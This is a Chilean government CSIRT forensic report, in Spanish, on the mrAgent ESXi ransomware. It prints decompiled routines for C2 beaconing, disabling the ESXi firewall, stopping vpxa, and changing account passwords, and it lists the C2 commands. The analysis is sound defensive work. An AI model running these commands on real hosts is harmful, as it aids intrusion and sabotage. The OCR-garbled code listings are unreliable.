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Resumen ejecutivo

El siguiente informe detalla el analisis forense realizado sobre un binario detectado en el ataque
informatico a los servidores que hospedan ChileCompra, los cuales son administrados por la empresa IFX
Networks.

En el informe, explicamos las funcionalidades observadas en el programa mrAgent, mediante el
uso de técnicas de ingenieria reversa sobre el archivo. Esto nos permite entender en mayor profundidad
las acciones realizadas por el mismo y sus posibles repercusiones en la infraestructura y datos de los
sistemas afectados.

Dentro de las funcionalidades mads destacadas que se encontraron, se observd que el
ransomware se conecta con un servidor externo mediante una conexién TCP, el cual actia como un
servicio de Command and Control, recibiendo informacidn interna del servidor afectado.

Al mismo tiempo, se observd el proceso de enumeracién de maquinas virtuales, caracteristicas y
servicios del sistema infectado, ademas del proceso de eliminacién de logs y archivos maliciosos para
dificultar la trazabilidad de las acciones realizadas.

El documento finaliza con una serie de recomendaciones para los administradores de
infraestructura, con el objetivo de evitar ser afectado por un ransomware como el detallado
previamente.
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Descripcion de los hallazgos

loCs y contexto

SHA256 Nombre Archivo Descripcion
8189C708706EB7302D7598AEEE8CD6BDB048BF1A6DBE29C59 | mrAgent Ransomware
ES0FOA39FD53973

El archivo mrAgent fue detectado por primera vez por VirusTotal* el dia 2023-09-21 a las 13:37:59 hora
de Santiago de Chile, momento en el cual ningln antivirus reportado por el portal lo detectaba como
malicioso.

Z 8189c708706eb7302d7598aeee8cd6bdb048bflasdbe29c59e50f0a39fds3973 Q

(@ No security vendors and no sandboxes flagged this file as malicious CReanalyze = Similar = More ~
8189708704eb730207598acceBedsbdb048bflabdbe29c59e5010a39fd53973 Size Last Analysis Date il
N < oseene ° et 94,69 KB 3 hours ago ELF

ef  6apits

Community Scare

DETECTION DETAILS BEHAVIOR COMMUNITY 1

Security vendors' analysis (O Do you want to automate checks?
Acrenis (Static ML) (©) Undetected AhnLab-V3 (©) Undetected
AlYac (V) Undetected Antiy-AVL (%) Undetected
Arcabit (@) Undetected Avast (&) Undetected
Avast-Mobile () Undetected AG (&) Undetected
Avira (no cloud) (@) Undetected Baidu (%) Undetected
BitDefender (/) Undetected BitDefenderTheta (%) Undetected
Bkav Pro () Undetected ClamAV (%) Undetected
cMe () Undetected Cynet (%) Undetected

En contraste, si se revisa el sitio de VirusTotal el dia de hoy (25 de septiembre), se observa que una gran
cantidad de antivirus lo detectan como malicioso:

1

https://www.virustotal.com/qui/file/8189¢c708706eb7302d7598aeee8cdbbdb048bflabdbe29c59e50f0a
39fdb3973
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° o s
Comemunity Score

DETECTION  DETALS ~ BEMAVIOR  COMMUNITY &

Popular threat label (1) trojan.uselvinZ3tdecik Threat categories

Securlty vendors' analysis ()
ALvac

Arcabit

BitDefender

Emsisaft

ESET-NOD32

Fortinet

© TronUnxcsnercatests
© TronUinxcenercoaDoC2
© TronUnxcsnercatests

(@ Trojan.Linux.Generic.318914 (8)

© eteroincens

© unsagnick

MDYXUSELVINGS
© Trolninoxcenercatests

@ undetected

trjan

Antiy-AVL

Avira (no cloud)

Cynet

escan

Trelix (Fireye)

TrendMicro-HouseCall

Acronis (static ML)

Avast

cao ()

g (P

Family labels usobiz3  decskc
D0 you want to automate checks?
@ TromunuFiecoerci
© uNXRansomdeork
@ Mealicious (score: 99)
(@ TrolnLinuxGeneric 318914
(D) Maware LINUXRansom.decsk

e318914

© Topns
(D) Teopn-Ransom stecrypter
D v
@ Trojent
@ ke

(D Toloncennee

AgentiLinux8.138F2 (CLOUD)

© TronLinuxceneri @9t
© TomnunuczrxuseL
@ undetectea

@ undetected

También se observa que el binario fue subido a la plataforma Hybrid Analysis®, en la cual se enumeran las

siguientes técnicas y tacticas de MITRE ATT&CK:

ID

Descripcién de técnica

Descripcion de tactica

T1106

APls Nativas

Ejecucion

T1059.004

Shell de Unix

Ejecucion

T1027

Informacion o archivos

ofuscados

Evasion de Defensas

T1083

Descubrimiento de archivos

y directorios

Descubrimiento

2https://www.hybrid-analysis.com/sample/8189c708706eb7302d7598aeee8cd6bdb048bfla6dbe29c59
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ID Descripcion de técnica Descripcion de tactica

T1033 Descubrimiento de usuarios Descubrimiento
y administradores de
sistema

Al ser un ransomware que afecta a maquinas que corren VMWare ESXi, es posible sefialar que estd
relacionado en términos de funcionalidad a programas maliciosos como Babuk y AvosLocker. Sin
embargo, no se encontraron pruebas de que el cddigo fuente de alguna de estas variantes de
ransomware estuviese contenido o relacionado directamente en el programa mrAgent.

Comportamiento inicial del archivo malicioso

En primer lugar, el archivo malicioso realiza algunos chequeos basicos al momento de ejecutarse. Uno de
estos chequeos es una comprobacion de fecha de la maquina atacada. Si el Unix Time da un valor muy
alto (0x9ff18440), el programa termina.
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|:mc-1 check_server time{void)

{
FILE * stream;
FILE *pFVarl;
long 1Varz;
long in_FS_OFFSET;
char local 413 [1@832]:
long local_18@;

local_ 1@ = *(long *)(in_FS_OFFSET + @x28);
__stream popen("date +%s", "1");
pFVarl = _ stream;
while (pFVarl != (FILE *)@x@) {
pFVarl = (FILE *)fgets{local_418, 0x408,
}
pclose(_ stream);
1var2 = strtol{local_418, (char **)@x@,18);
if (local 1@ == *{long *)(in_FS_OFFSET + Bx28)) {
return 1Var? < ox9ff1a44@:;

stream);

/* WARNING: Subroutine does not return */
__stack_chk_fail():

En segundo lugar, el malware intenta enumerar variados recursos de la maquina afectada, entre los que
se encuentran:

e Obtener informacién del comando esxcli
® Conseguir IDs e IPs de maquinas virtuales
e Deshabilitar Firewall de ESX

A continuacion explicaremos cada una de estas fases de recopilacidon de informacion.

CONTACTO Y REDES SOCIALES CSIRT
https://www.csirt.gob.cl
Teléfonos: 1510 | + (562) 24863850 | Correo: incidentes@interior.gob.cl
Twitter: @csirtgob 7




Inteligencia de Amenazas

CSIRT, Coordinacion Nacional de Ciberseguridad
Ministerio del Interior y Seguridad Publica

Gobierno de Chile

TLP: Blanco

Obtencidn de datos del host y de maquinas virtuales
En primer lugar se intenta ejecutar el comando esxcli para determinar datos basicos de la instalacién del
ESXi. Si el comando resulta, se almacena una variable global indicando que existe la herramienta ESXi. En

caso que el comando no resulte, la variable global indicara esta situacion.

1
void get_host_type(undefined8 param_1,undefined8 param_2)

2

3

4{
5| int iVari:

6| FILE *_ stream:
7| FILE *pFWar2;

8| undefined *puVar3;

9| long in_FS_OFFSET;

18| char local 418 [1832];
11| long local_ie;

12
13| local 18 = *{long *){in_FS_OFFSET + Bx28);

14| log{"GetHostType starti\n", pazam_2);

15| puVar3 = &DAT_@84132f6;

16| _ stream = popen{“esxcli” "I");

17| pFVar2 = _ stream;

18| while (pFVar2 != (FILE *)@xB) {

19 puVar3 = (undefined *)@x400;

20 pFVar2 = (FILE *)fgets(local 418,8x408, stream);

21| }

22| ivarl = pclose(_ stream);
23| if (ivarl == @x7fee) {
24 esxi_host_type = 2;

25 }

26| else {

27 esxi_host_type = 1;
28}

29| log{"GetHostType end\n",puVar3);

38| if (local_1@ == *{long *)(in_FS_OFFSET + @x28)) {

31 return;

32 }

33 [* WARNING: Subroutine does not return */
34| _ stack_chk_fail();

35}
36

En varias funciones como la anterior también se detectan canarios (al final de la funciéon) para evitar
intentos de ataques de desbordamiento de pila.

Posteriormente, se intentan obtener datos del sistema en el cual corre el malware (uname -a) y de
interfaces de red en el sistema.
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En caso que esxctl exista, se ejecuta este comando “esxcli --formatter=csv network nic list”, con el cual se
obtiene una lista de todas las tarjetas de red del ESXi junto con detalles como el nombre, direccion MAC,
estado y otras propiedades relevantes para el ciberdelincuente. Esta informacidn puede ser util para
administrar y diagnosticar la configuracion de la red del ESXi.

local cB0 = "esxcli --formatter=csv network nic list™;
1 = "unknown";

0 = |:|;
54 0= 0;
local_cif = popen("esxcli —-formatter=csv network nic list”,"r");

if {local c88 != (FILE *}0x0) |

while (p 4 = fgets(local_448,0x400,local cB8), pcVard != (char *)0x0) |
1 1 = (woid *)0=x0;
FUM_0040838d (local_448,0x2c,&local_chi);
1= 10) {
= 0=
while (local cSc < local cSE) |
iVarl = FUN_004078c2 (* (undefinedd *) {({long)local chi + (long)local cSc * 3), "MACRddress™

H

Si esxctl no estd instalado, se ejecuta ioctl para obtener las interfaces de red del sistema host.
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else if ((esxi_host_type == 2} || (esxi_host_type == 3)) {
local cad = "uname -a":
local_ch® = popen("uname -a","r"};

pFvar3 = local cha;
while (pFvar3 != (FILE *)@x@) {
pFVar3 = (FILE *)fgets(local_848,8x4088, local_cha);
}
pclose(local_che);
local chd = (void *)@x@:
uVard = string_split((long)local_848,' ' &local chd);
local ce@ = (int)uVard:
local _cc@® = "unknown":
if {1 < local_ce@) {
local_cc@ = *{char **)({long)local_ch& + 8);

}
local ced = @;
local cB8 = socket(2,2,08):

if (@ < local ceB) {
local ce8[@] = Ox400:
local_ce@ = local_c48:
iVarl = ioctl{local_c68,0x8912,local_ced):
if (ivarl !'= -1) {
local cd@ = local ce@ + ({ulong)(long)local ceB[@] / @x28) * Bx28;
for (local_ccd = local_ce@: local cc8 !'= local_cd®: local _cc8 = local ccd + Bx28) {
strecpy(local 48,local_ccd);
iVarl = ioctl{local_cB8,@8x8913,local_48):

if (((iVarl == @) && ((local_38 & 8) == 0)) &&
(iVarl = ioctl(local ch&,@x8927,local 48), ivarl == @)) {
local ced = 1;
bhreak:
}
}
}
close(local_cB&):
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Finalmente, en ambos casos se recopilan todas las direcciones MAC:

h

local_c78

=B;
local _c74 = @:
local cdd = "%02x:%02x %02 %02x  %02x 1 %02x"

if (local_ced4 !'= @) {
memcpy (&local_c78,local_36,6);
}
snprintf(local_448,8x12,1local_cdg, (ulong) (byte)local_c78, (ulong)local_c78._1_1_,
{ulong)local_c78._2 1 ,local c78 =» @x18, (uint)(byte)local_c74, (uint)local_c74. 1.1 );
iVarl = string_length({long)local_cc@);
iVar2 = string_length({long)local_448);
wWarf = malloc((long)ivarl + (long)ivarz + 2);
*param_1 = pvVaro;
iVarl = string_length({long)local_cc@);
memcpy (*param_1,local_cc@, {uleng){ivarl + 1));
pvWars = *param_1;
iVarl = string_length({long)local_cc@);
memcpy ( {void *)((long)pvVart + (long)ivarl) , &DAT_@@413e59h,1);
iVarl = string_length({long)local_448);
pvWars = *param_1;
iVar2 = string_length({long)local_cc@);
param_2 = local 448;
memcpy ( {(void *)({{long)pvVare + (long)ivar2 + 1),param_2,(ulong)(iVarl + 1))
free{local_cha):

log("GetId endin", param_2};
if (local_2@ !'= *{long *){in_FS_OFFSET + @x28)) {

h

/* WARNING: Subroutine does not return */
__stack_chk_fail():

return;
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Posteriormente, en caso que esxcli exista, se ejecuta el comando “esxcli --formatter=csv network ip
interface ipv4 get” para extraer informacién detallada sobre las interfaces de red en IPV4 de un host ESXi
y formatea la salida en CSV para su posterior procesamiento.

local_ 870 = popen("esxcli --formatter=csv network ip interface ipwvd get™,"r"):
if {local 570 != (FILE *)0x0) {
while (pcVar3 = fgets({char *)local 545,0x400,local 570}, pcVar3 != ([char *)0xz0) {
local 378 = 07
local_ 854 = FUN_0040838d({local_g43,0x2c, elocal_873);
Zdc = 0} {
g =10z
while (local 8358 < local 3534) |
iVarl = FUNM_004073c2 (* (undefinedd *) (local 575 + (long)local_ 553 * 8),"IFvihddress™);

oy {

En caso de no existir esxcli, se utiliza la misma técnica basada en ioctl que en el caso de la obtencién de
interfaces de red, explicada anteriormente.

Deshabilitacién de Firewall

El ransomware tiene la capacidad de modificar la gestién de la configuracién del firewall. Este comando
“esxcli network firewall set --enabled false”, se utiliza para desactivar el firewall de ESXi, al ejecutar este
comando, desactiva el firewall del host infectado. El segundo argumento “r” indica que se estd abriendo

en modo lectura.

local_10 = *({long *) (in_F5 CFFSET + 0Ox28);
FUN_00407£51 ("DF start\n"):
if (DAT 00€l7270 == 1} {

ream = popen({Tesxcli network firewall set —-enabled false™,™r™);

Command and Control

Posterior a las revisiones ya mencionadas, se intenta generar una conexidon TCP hacia una IP y un puerto
obtenidos como argumentos en la ejecucion desde consola del archivo malicioso. En caso de no resultar
la conexién, el programa corre sleep por 6 segundos y luego se reintentar la conexion.
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while (local 48c. 4.4 == ) {

local_4be = -1:
local_4b4 = @:
while{ true ) {
local_4b@ = local_4b@ + 1:
if (local_dad <= local 4b@) {
local_4b@ = @:
1

pcvVard = apcStack_4778[local_4ba];
uvars = cbnnect_to{apcS:ack_z??E[lnca1_4hE],chaIE,{int *}yconn_socket) :
local_4b4 = (int)uvars:
if (local_4b4 '= @) break:
print("Failed to ping...\n",pcVazs);
sleep(GBR@) ;
1

Posterior a la revisién anterior el programa intenta mandar un mensaje a través del socket ya creado,
cuyo texto corresponde inicialmente a "FASF)@#S#k". Este texto puede servir como contrasefia para
impedir que programas no relacionados con el malware se comuniquen con el servidor externo.

BLNE 4
print(&DAT_0GA414699 2);
len = length({Llong)"FASF)@&%#k") ;
bWar2 = sendto("FASF)@#$#k", (long)len + 1,(int *)conn_socket}:
if ((int)CONCAT71{extraout_var @@, bVar2) == @) {
sleep(3000);
1
else {
premsg = {undefined® *)malloc_4@{);
create_message("heartheat”, (char *)local_4d&._8&_8_,(char *)@x@, ({char *)@x0,
{undefined® *)@x@,premsg);
msg = (void *)FUN_@8@4@841c7((long)premsqg);
len = length{(long)msg);
pcWard = (char *)((long)len + 1);
bvar2 = sendto(msg, (size_t)pcVars, (int *)conn_socket);
if ((int)CONCAT/1({extracut_var_01,bvar2) == @) {
free_custom_1(msg);
free_custom_2(premsg);
sleep(3000);

L1

!undeﬂned stdcall free custom 2 (undefined8 * param 1”
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Si no logra conectarse, se queda durmiendo un rato y termina, pero en caso de lograr conectarse,
mantiene una comunicacidn continua con un servidor externo.

El primer mensaje enviado a través del socket es un "heartbeat" o prueba de vida, el cual tiene datos
basicos del servidor atacado.

Posterior al Heartbeat, se envia un objeto JSON vacio cada 3 segundos, a la espera de un comando de
parte del servidor.

Una prueba local de la conexién externa fue realizada, ejecutando el ransomware en un entorno
controlado con el argumento 127.0.0.1:4444. Al levantar un listener TCP en esa IP y puerto, el
ransomware envié datos basicos del sistema. Si el servidor local envia el mensaje "{"type":"info",
"id":"foo"}", el servidor web empieza a ejecutar tareas de escaneo, enviando los resultados en formato

JSON a través del socket.

“ B~
remnux@remnux: ~/mragent - *any _ o ox
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
LW-RC R Qe PP KASE 20 E
[Wtcpistreameq & BED -]+
No. Time Source Protocol Length Info =
16.000000060  127.0.0.1 Tcp 76 52666 ~ 4444 [SYN] Seq=0
20.000006926  127.0.0.1 Tcp 76 4444 ~ 52666 [SYN, ACK] Se
3 0.000013318 127.0.0.1 TCP 68 52666 — 4444 [ACK] Seq=1 £
4 0.000028278 127.0.0.1 Tcp 79 52666 — 4444 [PSH, ACK] Se
5 0.000030434 127.0.0.1 TCP 68 4444 ~ 52666 [ACK] Seq=1 £
6 0.000037981 127.0.0.1 TCP 128 52666 — 4444 [PSH, ACK] Se
7 6.000039698 127.0.0.1 TCP. 68 4444 ~ 52666 [ACK] Seq=1 £
Wireshark - Follow TCP Stream (tcp.stream eq 0) - any N ;7;
= B33
FASF)@#$#k . { B oce”
] "type": "heartbeat", ED
» Fraf gl b "remnux+00:00:00:00:00:00"
b Lint |}..{"id": "hola", "type": "info"}.{
» Inti "type": "info",
Trat b L "remnux+00:00:00:00:00:00",
~ Dat: "taskId" v
R "taskReply" "accepted" I
[ NEE
Neypet: "info",
"id" "remnux+00:00:00:00:00:00",
"taskId" "hola",
"taskReply": "completed”,
"data": {
"config" {
"host": {
0000 WstartIn" o,
0010, "pass": "undefined",
" conmand” "undefined",
A
vargen: 11
s =
S cliet phs, 1 server pk, 2 tus,
Entire conversation (3,499 bytes) > Show data as | ASCII b Stream 0 |
Find: [ Find Next:
[@Help Filter Out This Stream Print Save as. Back % Close
© 7 Data (data.data), 32 bytes Packets: 45 Displayed: 45 (100.0%) ~ Profile: Default

Dentro de los datos devueltos se encuentra la siguiente informacion:

Configuracién actual del agente, definiendo comandos a ejecutar, argumentos

Estado de discos, maquinas virtuales y conectividad.

Estado general del agente: estado de tarea ejecutada, errores acumulados, iteraciones, entre
otros.
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Comandos del C2
Posterior al envio de los datos iniciales, el programa se queda esperando, lo que deja claro que
corresponde a un servicio tipo Command and Control.

Estos son los comandos encontrados en el binario, que corresponden a los distintos valores que puede
tomar el campo "id" en una respuesta del C2:

info
config
exec

run
abort
abort_f
remove
quit
welcome

Considerando que el comando info fue definido en la seccién anterior, a continuacién se describiran cada
uno de los comandos restantes.

config

Permite cambiar la configuracion actual del agente. Ademas del ID del comando (config), hay que mandar
un objeto en la llave "config" con la nueva configuracién. Luego de ejecutarse, se devuelve el nuevo
estado del agente.
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iVar3 = bytes_cmp{local 588, (byte *)"config");
if (ivar3s == 8} {
if ({local 49c == @) &&
{local_5a8 = find_in_linked_list_string
{({long)received_data, (byte *})"config").
local 5a8 '=8)) {
free_message(local_4e8-»fds_bits);
ﬁccal_iea = (fd_set *)FUN_@@486aba(local_5a8, 1);
3
if (local_49c == @) {
local 5b® = "completed";
}
else {
local 5be = "cancelled":
}
local_578 = (undefineds8 *)malloc_6G4():
socket fd 2 = (char *)local 4d8. 8 8 :
generate message("info",{char *)local 4d8._8 8 ,local 598, local 5b@,
(undefined8 *)@x@,local_578):

exec

Este comando recibe el contenido de un script para ejecutar en cada maquina virtual o disco detectado.
Ademas, recibe argumentos para cambiar el mensaje de bienvenida de ESXi, eliminar las sesiones ssh
existentes en la mdquina, configurar la opcién de eliminar logs y definir una cantidad de tiempo para
retrasar la ejecucion del comando.

El comando crea el script como un archivo y luego lo ejecuta. Finalmente, lo borra. Dado el andlisis
completo del malware y la falta de primitivas criptograficas para cifrado en su interior, se cree que este es
el punto de entrada para la ejecucion de un proceso de exfiltracion o cifrado de los archivos del servidor
infectado.

Finalmente, se envia al usuario un mensaje de tipo info con el estado actual del agente y se apaga la
magquina virtual.
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% D=k
80| byte local 1028 [2048];
81| undefined8 local 828 [257]:
82| long local_2e;
83
84| local 28 = *{long *)(in_FS_OFFSET + @x28);
85| log("RP start\n",param_2);
86| local 3@2c = 1;
87| local 3878 = fopen("shmv",k "w"}:
88| if (local 2878 == (FILE *)@x@) {
89 serialize errors(param_11,"RunProcess”,"failed to create file to run process");
98 uVard = @;
91 1}
92| else {
a3 fprintf(local_3878,"%s\n","#!/bin/sh");
94 fprintf(local_3878, "%s\n" param_2);
a5 fclose(local _3@78):
96 iVarl = chmod("shmv" , @x1c@);
97 if (ivari < @) {
98 serialize_errors(param_11,"RunProcess"”,"failed to chmod file to run process");
949 uvard = @:;
106 }
181 else {
182 local 3888 = run_script("./shmv" "r" (int *)param_6);
103 *param_7 = local 3080;
14 if (local_3@8@ == (FILE *)@xe) {
185 serialize errors{param_11,"RunProcess","failed to start process");
186 Temove( "shmv") ;
187 uvard = @;
188 +
189 else {
118 log(&DAT_BB413470,param_2);
111 linked _list = @:
112 for (local 3838 = @; local 3836 < *param_1; local 3830 = local 3838 + 1) {
113 if (*{int *)(*(long *)(param_1 + 2} + (long)(int)local_3@3@ * Bx18 + Bxc) != @) {
114 linked_list = *{long *)(*(long *)(pazam_1 + 2) + (long)(int)local 3838 * Bx18 + @x18):
115 local 3098 = find_in_linked_list string(linked_list, (byte *)"files"):
116 if (local_3@98 != @) {
117 if (local_3@9@ == @) {
118 local 320898 = (undefined8 *)@x@:
119 H
120 else {
121 local_3@98 = *{undefined8 **)(local_3090 + Bx10):
122 }
123 for (: local 30898 != (undefined8 *)@x@: local 3893 = (undefined8 *)*local_3@98) {
124 local 30a@ = find_in_linked_list_string((long)local_3898, (byte *)"state");
125 if (local_3@ap == @) {
126 local 3834 = 1:
127 }
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run

Al igual que en exec y config, es posible enviar una nueva configuracion al ejecutar este tipo de comando.
Dentro de las opciones ingresables, es posible definir un nimero de iteraciones para los comandos
ejecutados, y si se desean botar las sesiones SSH de otros usuarios.

Este comando oculta en hexadecimal un subcomando para limitar la ejecucion de las tareas
programadas, utilizando el programa "timeout" que viene cominmente en servidores Linux.

Decompile: run_host_proc - {mrAgent) 9 Iy E] ﬁ
67 if (esxi_host_type == 1) {
68 local_38 = @x656d6974;
69 /* timeout -t %d %s 2>&1 */
70 local_34 = @x2074756T;
T g local_3@ = @x2520742d;
7 local 2c = @x73252064;
73 local_28 = @x263e3220;
74 local 24 = @x31;
75 snprintf{local 42b8,1680@, (char *)&local 38, (uleng)uvar3,puVazd);
76 }
7T else {
78 local_38 = @x656d6974;
79 local_34 = @x2@74756T;
1] local 3@ = @x25206425;
81 local_2c = @x3e3220873;
82 local_28 = CONCAT13{local_28._3 1_,@x3126);
83 snprintf({local 42b8,1680@, (char *)&local 38, (uleng)uvar3,puVazd);
84 I
85 if (*(int *)param_1[5] == 8) {
86 *{undefined4 *)param_1[6] = 1;
87 __stream = run_script(local_42b8, "r", (int *)param_1[@xb]):
88 *{FILE **)param_1[8xc] = _ stream;
89 if (__stream == (FILE *)@x@) {
99 serialize errors{puvaré, "RunProcess”,"failed to start process”):
91 }
92 else {
93 1og(&DAT_@0413478, local_42b8);
a4 while( true ) {
a5 pcvarle = fgets(local_438,8x400,_ stream);
96 if {pcVarl@ == (char *)@x@) break;
97 log{&DAT_8@413470,local 438);
98 bvar2 = false;
99 serialize_errors({puVart,"", 6 local_438);
1oa if (*(int *)param_1[5] != @) {
101 sleep_ms(1@@);
102 }
183 I3
104 lock_mutex((pthread_mutex_t *)param_1[@xd]);
105 plvar7 = (long *)pack double(18@.08);
106 add_to_linked_list_string({long)param_1[4], (byte *)"progress”,plvar’);
107 unlock_mutex(({pthread_mutex_t *)param_1[@xd]);
108 iVar4 = FUN_@@4@88ae(_ stream,*(_ pid t *)param_1[@xbl};
109 if (iVard4 == @x7fe0) {
119 serialize_errors({puVart, "RunHostCommand", "command not found - does the file exist?");
111 I3
112 else if (ivar4 == @x7cee) {
113 serialize errors(puvar6,"RunHostCommand”,"timeout reached");
114 I3

Finalmente, el comando manda en un mensaje de tipo "info" el nuevo estado del agente.
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abort
Este comando cambia el valor de una variable local (local_494) a 1, lo que provocara que procesos
pendientes dejen de ejecutarse, pero sin forzar el término del proceso corriendo en este momento.

else {
iVar3 = bytes_cmp(local_588, (byte *)"abort");
if (ivar3 == @) {
local_494 = 1:
if (local 4a@ !'= @) {
sleep_ms(3000);
}
if ((local_4a@ == @) &&
(bVar2 = json_exists((long)local_4f@, (byte *)}"startsIn"),
(int)CONCAT71(extraout_var_22, bvar2) !'= 8)) {
local 666 = (long *)pack_double(-1.8);
add_to_linked_list_string
({long)local 4f@, (byte *)"startsIn",local_66@);
I3
if (local _4a@ == @) {
local 668 = "completed";

3
else {
local 668 = "cancelled":
}
local 578 = (undefined8® *)malloc_64();
socket_fd_2 = (char *)local 4d8. B 8 :

generate_message("info", (char *)local_4d8._8_8_,local 59@,local_ 663,
{undefined8 *)@x@, 6 local 578):
t

else {
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abort_f
Este comando ejecuta kill sobre el proceso pendiente, forzando su término.
else {
socket_fd 2 = "abort_f":

iVar3 = bytes_cmp(local 588, (byte *)"abort_f");
if (iVar3 = 8) {

local 494 = 1:
local_4a@ = @:
log("Waiting...\n",socket_fd_2};
if (local 49c !'= @) {
sleep_ms(10200) ;
I3
uVaré = {ulong)local 490
log("Killing pid=%d\n", uVard);
if (local 498 !'= @) {
kill(-local_490);
I3
log("Killed\n" , uvar6);
lock_mutex(({pthread_mutex_t *)&stack@xfffffffiffffffhg);
bVar2 = json_exists((long)local 4f@, (byte *)"startsIn");
if ((int)CONCAT71{extracut_var_ 23,bVar2) !'= @) {
local 678 = (long *)pack_double(-1.8);
add_to_linked_list_string
((long)local 4f@, (byte *)"startsIn",local 67@);
I3
unlock_mutex((pthread_mutex_t *)E&stack@xfffffiffffffffhe);
local 678 = "completed”;
local_578 = (undefined8 *)malloc_64():
socket fd 2 = (char *)local 4d3. 8 8 :
generate_message("info", (char *)local_4d8._8_8_,local 598, local_678,
(undefined® *)@x@, local 578):
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remove
Este comando elimina un archivo definido en los args de la configuracién.

else {
iVar3 = bytes_cmp{local 588, (byte *)"remove");
if (ivaz3 == @) {
local 686 = find_in_linked list_string
({long)received_data,&DAT_B@413T6e);

local 494 = 1:
if (local 4a@ == @) {
bVar2 = json_exists{(long)local 4f@,(byte *)"startsIn");
if ((int)CONCAT71(extraout_var_ 24, bvVar2) != 8) {
local_688 = {long *)pack _double(-1.8);
add_to_linked_list string
({long)local_4f@, (byte *)"startsIn",local 688);

13
remove(local GEE, (undefined *)@x@):
}
if (local 4a@ == @) {
local 6998 = "completed”;
}
else {
local 69e
1S
local 578 = (undefined8 *)malloc_fR4():
socket_fd_2 = (char *)local 4d3. 8 8 :
generate_message("info", (char *)local 4d8._8 8 ,local_59@,

local B9@, (undefined8 *)@x@®,local 578):

"cancelled":

quit
Este comando intenta cerrar la conexion existente.
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else {
iVar3 = bytes_cmp{local 588, ADAT_B8414146);
if (ivar3 == @) {
local 494 = 1:
local 4a@ = @:
bVar2 = json_exists((long)local_4f@, (byte *)"startsIn");
if ((int)CONCAT71{extracut_var_ 25,bVar2) !'= @) {
local 698 = (long *)pack_double(-1.8);
add_to_linked_list_string
((long)local 4@, (byte *)"startsIn", local 698);
I3
remove(@, *param_2);
local 48c. 4 4 =1;
e;

local_48@
local 6a@ = "completed";
local 578 = (undefined8 *)malloc_6B4():

socket fd_2 = (char *)local 4d8. B B :
generate_message("info" , (char *)local _4d8._8_8 ,Klocal 59@,
local Ga@, (undefined8 *)0x@,local 578):

welcome
Este comando cambia el mensaje de bienvenida al definido en la configuracidn adjunta.
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else {

socket fd_2 = "welcome":

iVar3 = bytes_cmp(local_588, (byte *)"welcome");

if (ivars == @) {

if (local 4a@ == @) {
free_message(local 4f8);
local 4f8 (undefined® *)malloc_&4():
local_6a8 = find_in_linked_list_string
((long)received_data, (byte *)"config")

x

local &be

find_in_linked_list_string
local_Ga8,&DAT_@0413bsf):
find_in_linked_list_string
(local_6b@, (byte *)"welcomeMsg");
if (local_6b8 == B) {
local Ac@ = &DAT_@@41355e:

local 6b8

t
else {
local bc@

(undefined *)FUN_@@4025ca(local 6bs):

local 6c8 = (undefined& *)
find_in_linked_list_string
((long)local_4fa, (byte *)"errozs");
if (local_6Gc8 == (undefined8 *)@x@) {
local Acd = (undefinedd *)FUN_@@48665c():
add_to_linked_list_arg
(local 4f@-»>Tds_bits, "errors",local 6c8):
t
uVard = set_welcome_message(local 6c@,local 6c8);
if ({intjuVard != @) {
local &d@é = (long *)encode_boolean(1);
add_to_linked_list_string
{(long)local_4fe, (byte *)"welcomeset",K local_&d@)

t
Rutinas ejecutadas

Dentro de los comandos ya descritos hay rutinas especificas que generan cambios en la configuracidn de
la mdquina atacada. A continuacion mencionamos algunos de ellos.
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Detencién de agente de VCenter
Eventualmente, el ransomware realiza la detencidon del servicio “vpxa” con el comando “/etc/init.d/vpxa

stop” y registra la informacion antes y después de esta accion.

local 10 = *({long *) (in_FS5 OFF5ET 0x258);
FUN_00407£51 ("DEV startin”);

if {(DRT 00817270 == 1} |

am = popen("/etc/init.d/vpxa stop”,"r");

H
o]

while (pFvarl != (FILE *)0x0) |

pEVarl = (FILE *)fgets(local_413,0x400, stream):

1
pclose{_ stream);

}

FUON_00407£51 {"DEV end\n"™):

if {(local_10 = *{long *){in_F5 OFFSET + 0x28)) {
return;

}
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Al final de la ejecucion del proceso en un thread, se ejecuta el comando “/etc/init.d/vpxa restart”.
local 10 = %{long *) {(in FS OFFSET + 0x28):
FOM_00407£51 ("CTV starti\n™):
if (DAT 00617270 == 1) |

tream = popen(”/etc/init.d/vpxa restart”™,"r"):

while {pFVarl != (FILE *)0x0) {
pEvarl = (FILE *)fgets({local_41%,0x400, stream);
}
pclose{_ stream);
}
FUM_00407£51("CTIV endwn™);
if (local_l0 = *{long *) (in_F5 OFFSET 0x28)) {
return:
}
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Proceso de encriptacion
Como se menciond anteriormente, el proceso de encriptacidn no ocurre dentro del binario de VMAgent,
sino que es solicitado al servidor C2 posterior al retorno del comando "info", a través del comando exec.

Wireshark - Follow TCP Stream (tcp.stream eq 0) - any - o x
h =
"status": {
"errors": Eiz
"ip"i n Ilr
"hostType": 2
"progress": =1
"startsIn": =1,
"runlterations": 1,
"currentRunIteration": 1,
"passchange": L
"dropsess": false,
"welcomeset": false,
"rmlogs": false,
"yms": [{
"name": "/dev [B]",
"folder": "/dev",
"datastoreMountPoint": "unknown",
"datastoreName": "primary",
"datastoreSize": "n/a",
"total": @,
"done": B8,
"processId": L
"anlina™- Ffaleca =
Packet 12. 5 client pkts, 1 server pkt, 2 turns, Click to select.
Entire conversation (3,499 bytes) x Show dataas | ASCII ¥ Stream |0 |C
[&Help Filter Qut This Stream Print Save as... Back # Close
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Cambio de Contrasefia
A través de datos ligeramente ofuscados (hexadecimal y en reversa) se codifica un comando para cambio
de contrasefia de sistema en ESXi: esxcli system account set -i="%s" -p="%s" -c="%s".

4 Decompile: change_password - (mrAgent) % D d~
52 local_c64 = 0;

53 puvars = (undefined8 *)&DAT_@0413276;

54 local c88 = popen(“esxcli --formatter=csv system account list",K "z");

55 if (local c88 != (FILE *}@x@) {

56 do {

57 do {

58 while( true ) {

59 puVars = (undefined8 *)@x400;

60 pcVard = fgets{local_458,0x400, local c88);

61 if (pcvar4 == (char *)@x@) goto LAB_8040976c;

62 local_co@ = (void *)@xe@:

63 u¥ar3 = string_split((long)local 458,',"' &local c9@);

64 local_c68 = (int)uvar3;

65 if (local c6@ != 8) break;

66 for (local_c6c = ®; local c6c < local c68; local c6c = local c6c + 1) {
67 iVarl = bytes_cmp(*(byte **)((long)local_c9¢ + (long)local_céc * 8),(byte *)"UserID");
68 if (ivarl == 8) {

69 local_c64 = local_cée;

70 }

71 }

72 local _c6@ = 1;

73 3

T4 } while (local_c68 <= local_c64);

75 local 58 = @x63787365;

76 local_54 = @x732@696c;

T local 58 = @x65747379;

